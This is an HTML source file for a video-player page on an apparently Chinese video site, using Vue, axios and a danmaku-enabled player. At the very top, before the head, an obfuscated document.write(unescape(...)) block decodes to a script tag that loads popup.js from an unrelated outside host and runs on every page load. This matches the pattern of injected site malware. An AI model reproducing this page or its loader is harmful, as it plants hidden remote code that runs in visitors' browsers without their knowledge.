<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<script type='text/javascript' language='Javascript'>
<!--
document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%6E%61%6C%6C%61%2E%77%65%62%73%2E%63%6F%6D%2F%70%6F%70%75%70%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
//-->
</script>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Video 1</title>
<!--// Stylesheets //-->
<link href="css/style.css" rel="stylesheet" type="text/css" />
<link href="css/ddsmoothmenu.css" rel="stylesheet" type="text/css" />
<link href="css/scrollbar.css" rel="stylesheet" type="text/css" />
<!--// Javascript //-->
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/ddsmoothmenu.js"></script>
<script type="text/javascript" src="js/menu.js"></script>
<script type="text/javascript" src="js/contentslider.js"></script>
<script type="text/javascript" src="js/jquery.1.4.2.js"></script>
<script type="text/javascript" src="js/jquery.lint.js"></script>
<script type="text/javascript" src="js/jquery.scroll.js"></script>
<script type="text/javascript" src="js/scroll.js"></script>
<script type="text/javascript" src="js/jquery.idTabs.min.js"></script>
<script type="text/javascript" src="js/switch.js"></script>
<script type="text/javascript" src="js/tabs.js"></script>
<script type="text/javascript" src="js/cufon-yui.js"></script>
<script type="text/javascript" src="js/cufon.js"></script>
<script type="text/javascript" src="js/Myriad_Pro_400-Myriad_Pro_700-Myriad_Pro_italic_400-Myriad_Pro_italic_700.font.js"></script>
<!--[if lte IE 7]><style>.comments .commentlinks{margin-left:250px;}
.comments .singlebtn{margin-left:380px;}
.comments ul li:hover .commentlinks{display:inline-block;}
.comments ul li.level2:hover .commentlinks{margin-left:210px;}
.comments ul li.level2:hover .singlebtn{margin-left:340px;}
</style><![endif]--><!-- that's IT-->

<script type="text/javascript" src="../../js/vue.min.js"></script>

<link rel="stylesheet" href="../depend/videoCT.css">
<!-- <link rel="stylesheet" href="index.css"> -->

<script type='text/javascript' src="../depend/jquery.min.js"></script>
<script type='text/javascript' src="../depend/videoCT.js"></script>
<script type="text/javascript"
	src="https://cdn.bootcdn.net/ajax/libs/axios/0.21.0/axios.min.js"></script>
<!-- <script type='module' src="../index.js"></script> -->
<script>

'user strict';

var address ;
const web_url = 'http://www.zhangsan.com';

 function getDept() {
  var params = new URLSearchParams();
  let uaid = location.search.replace(/\?vid=(\d+)/, "$1");
  params.append("vid",uaid);
  console.info("vid"+uaid);
  var arr = "";
  console.info("hello world");
  axios.get('../../show/showVideo.s', {
    params
})
      .then((response) => {
    	 // console.info(response.data[0].vaddress);
        address = response.data[0].vaddress;
        arr = response.data[0].vaddress;
        onloadd();
        
       // console.info("address++:"+address);
        //console.log(response);
        
      })
      .catch((reject) => {
          console.log(reject)
      });
  console.info("arr:"+arr);
//  console.info("arr:"+arr);
 

}



window.onload = function () {

    //初始化
	getDept();
	
	
	
  
}


function onloadd(a){
	console.info("address:"+address)
	  var video = $('#video1').videoCt({
	        title: '动画',              //标题
	        volume: 0.2,                //音量
	        barrage: true,              //弹幕开关
	        comment: true,              //弹幕
	        reversal: true,             //镜像翻转
	        playSpeed: true,            //播放速度
	        update: true,               //下载
	        autoplay: false,            //自动播放
	        clarity: {
	            type: ['360P','480P'],            //清晰度
	            src: [address,
	            	address]      //链接地址
	                   
	        },
	        commentFile: 'comment.json'           //导入弹幕json数据
	    });
	    console.info(video+"=====");

	    //扩展
	    video.title;                    //标题
	    video.status;                   //状态
	    video.currentTime;              //当前时长
	    video.duration;                 //总时长
	    video.volume;                   //音量
	    video.clarityType;              //清晰度
	    video.claritySrc;               //链接地址
	    video.fullScreen;               //全屏
	    video.reversal;                 //镜像翻转
	    video.playSpeed;                //播放速度
	    video.cutover;                  //切换下个视频是否自动播放
	    video.commentTitle;             //弹幕标题
	    video.commentId;                //弹幕id
	    video.commentClass;             //弹幕类型
	    video.commentSwitch;            //弹幕是否打开
	    $('#video1').bind('ended', function() {
	        console.log('弹幕json数据：\n'+ video.comment());              //获取弹幕json数据
	    });
}
</script>
</head>

<style>
.header{
	height: 122px;
    background: #fff;
    position: fixed;
    width: 100%;
    z-index: 11;
    top: 0;
    left: 0;
    border-bottom: 1px solid #dedede;
}
.topmenu {
    height: 122px;
    background: #fff;
    position: fixed;
    width: 100%;
    z-index: 11;
    top: 0;
    left: 0;
    border-bottom: 1px solid #dedede;
}
#nav{
	width: 800px;
    display: block;
    margin-top: -53px;
    margin-left: 247px;
}
#nav .mainlevel {
    float: left;
    border-right: 1px solid #fff;
    position: relative;
    z-index: 10;
    list-style: none;
}
ul {
    display: block;
    list-style-type: disc;
    margin-block-start: 1em;
    margin-block-end: 1em;
    margin-inline-start: 0px;
    margin-inline-end: 0px;
    padding-inline-start: 40px;
}
#nav a{
	line-height: 40px;
    display: block;
    padding: 0 20px;
    font-size: 17px;
}
#nav li{
	display: list-item;
	list-style: none;
    text-align: -webkit-match-parent;
}
.wrap {
   max-width: 760px;
    -webkit-tap-highlight-color: rgba(0,0,0,0);
    width: 100%;
   margin-left: 100px;
    padding: 0 15px;
    position: relative;
}
.menu {
    width: 100%;
    margin-top: 0px;
     position: relative;
    float:left;
}



.video_name{
	width:100%;
	height: 50px;
	background-color:#009688;
}
.video_name span{
   line-height:50px;
   margin-left: 100px;
   font-size: 24px;
}
.xuanji{
	width:100%;
	height: 50px;
	
}
.xuanji li{
	line-height: 50px;
	list-style-type:none;
	font-size: 16px;
	color:white;
	margin-left:10px;
}
.xuanji li span{
	float:right;
	
	margin-right: 20px;
}
</style>
<body>

<!-- Wrapper -->
<div class="header">
	    <div class="topmenu" id="tophead">

			<div class="wrap">

				<div id="mobilemenu"></div>

				<div class="mask"></div>

				<div class="logo">
					<a href='javascript:0'><img src="images/logo.png" alt="零号网"
						width="280" height="70"></a>
				</div>

				<div class="menu">

					<ul id="nav">

						<li class="closex"><i class="iconfont icon-guanbi"></i></li>

						<li class="mainlevel"><a class='hover' href="/">网站首页</a></li>



						<li class="mainlevel"><a href='javascript:0'>问答</a></li>



						<li class="mainlevel"><a href='javascript:0'>论坛</a></li>



						<li class="mainlevel"><a href='javascript:0'>我的消息</a></li>



						<li class="mainlevel"><a href='javascript:0'>会员中心</a></li>



						<li class="mainlevel"><a href='javascript:0'>我的收藏</a></li>



						<li class="mainlevel"><a href='createBackstage.html'>创作中心</a></li>

					</ul>

				</div>

				<!-- <div class="search">
					<i class="iconfont icon-sousuo"></i>
				</div> -->

			</div>
			<div id="myLogin">
				<top></top>

			</div>
		</div>
	
</div>
<div id="wrapper_sec">


	

    <div class="clear"></div>
    <!-- Banner -->
    <div id="banner">
     
    	<div id="slider2" class="leftsecbanner" >
    		<section>

				<video width="100%" height="100%" id="video1" >
					
				</video>
			</section>
    	</div>
    	
       
       
       
       
        <div id="paginate-slider2">
        	<div class="video_name">
        		<span >资源名</span>
        	</div>
        	<div class="xuanji">
        	 	<li><a>第{{video.vepisode}}集 <span>{{video.vname}}</span></a></li>
        	</div>
        	
        
   		</div>
		<script type="text/javascript">
		   	   var params = new URLSearchParams();
		       let uaid = location.search.replace(/\?vid=(\d+)/, "$1");
		       params.append("vid",uaid);
		       console.info("vid"+uaid);
		     
			   var v1 = new Vue({
			   	el: "#paginate-slider2",
			   	data:{
			   		video:[],
			   	},
			   	created(){
			   		axios.post('../../show/showVideo.s',params).then(res=>{
			   		  this.video = res.data[0];
			   		  this.video.vepisode = this.video.vepisode + 1;
			   		  console.info(this.video);
			   		})
			   	}
			   })
		</script>
			<div class="clear"></div>
    <!-- Content Section -->
    <div id="content_sec">
    	<!-- Column 1 -->
        <div class="col1">
        	
            <!-- Recent Videos -->
 
            <div class="recent_videos">
            	<div class="recent_head">
                	
                    <a href="#" class="viewall" style="font-size:14px;margin-left:40px;">精彩点评</a>
                   
                </div>
                <div class="clear"></div>
              <iframe src="../../demo/comment.html" width="100%" height="500" frameborder="0" scrolling="yes"></iframe>
					
            
            
            
            </div>
        </div>
        <!-- Column 2 -->
        <div class="col2">
        	<!-- Advertisment -->
        	<div class="adv">
            	<div style="border-bottom:1px solid black;"><img src="images/logo.png" style="width:50px;height:50px;border-radius:50%;"></img></div>
            	<div style="border-bottom:1px solid black;"><img src="images/logo.png" style="width:50px;height:50px;border-radius:50%;"></img></div>
            	<div style="border-bottom:1px solid black;"><img src="images/logo.png" style="width:50px;height:50px;border-radius:50%;"></img></div>
            </div>
            <div class="clear"></div>
            <!-- Tabs -->
          
            
            
            
<!-- Footer -->
<div id="footer">




</div>
<div class="clear"></div>

</body>
</html>
